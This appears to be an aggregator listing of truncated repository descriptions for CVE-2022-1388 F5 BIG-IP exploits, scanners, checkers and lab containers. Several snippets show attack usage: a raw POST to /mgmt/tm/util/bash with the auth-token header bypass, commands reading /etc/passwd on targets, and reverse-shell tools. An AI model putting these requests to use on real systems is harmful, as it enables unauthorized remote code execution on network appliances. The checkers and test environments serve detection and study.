CVE-2022-1388

CVE-2022-1388 F5 BigIP exploit CVE-2022-1388 scanner...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC for exploiting CVE-2022-1388 on BigIP F5 Exploit Usage root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --comma...

CVE-2022-1388-EXP

CVE-2022-1388-EXP This is CVE-2022-1388-EXP Author:Caps@BUGFOR Github:https://github.com/bytecaps Remaker:LinJacck Github:https://github.com/LinJacck Feature Display Verification mode: python CVE20221388.py -v -u targeturl Attack mode: python CVE20221388.py -a -u targeturl -c command Batch...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

This repository does not have a README...

refresh

Refresh This container emulates the vulnerable functionality of CVE-2022-1388 in an F5 Router allowing RCE. CVE-202201388 stems from a complicated relationship between different authentication mechanisms and broxying that stripped Headers allowing improper access to admin endpoints in the webapp...

CVE-2022-1388-F5-BIG-IP

CVE-2022-1388-F5-BIG-IP Place target.txt in the same directory and execute directly...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell, and Auto-Export PCAP -- FOR EDUCATIONAL USE ONLY -- The author is not responsible or held liable for any actions taken with any aspect of this project/repository. I created this for the purposes of understanding the attack as well as writing detections within a...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple bash script to check multiple hosts for CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt References https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 POC exploit Usage root@kitploit: usage: exploit.py -h -t TARGET -l LIST -c COMMAND optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET The IP address of the target, eg: 127.0.0.1:9443 -l LIST, --list LIST List of target url saperat...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 Reverse Shell for CVE-2022-1388 Download and Usage git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys...

F5-BIG-IP-exploit

F5-BIG-IP exploit CVE-2022-1388 usage: CVE-2022-1388.py -h -u URL -c COMMAND -f FILE CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE Eg: root@kitploit: python3 CVE-2022-1388.py -u https://127.0.0.1 python3 CVE-2022-1388.py -u https://127.0.0.1 -c 'cat /etc/passwd' python3 CVE-2022-1388.py -...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Usage Single : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"'...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: root@kitploit: python3 -m pip install -r requirements.txt Usage Single : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"'...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat...

CVE-2022-1388-exploit

CVE-2022-1388-exploit exploit poc...

CVE2022-1388_TestAPI

CVE2022-1388TestAPI A Test API for testing the POC against CVE-2022-1388 To run from host. root@kitploit: pip install -r requirements.txt uvicorn main:app --reload To run from Docker. root@kitploit: make build make run...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP unauth remote code execution PoC Follow us Vulnmachines YouTube Twitter Facebook...

cve-2022-1388-iveresk-command-shell

CVE-2022-1388 by 1vere$k with command shell Improved POC for CVE-2022-1388 that affects multiple F5 products. This is an improved version of Horizon3's Proof of Concept for CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388 Also it's a complete rework with refactoring for PsychoSec work b...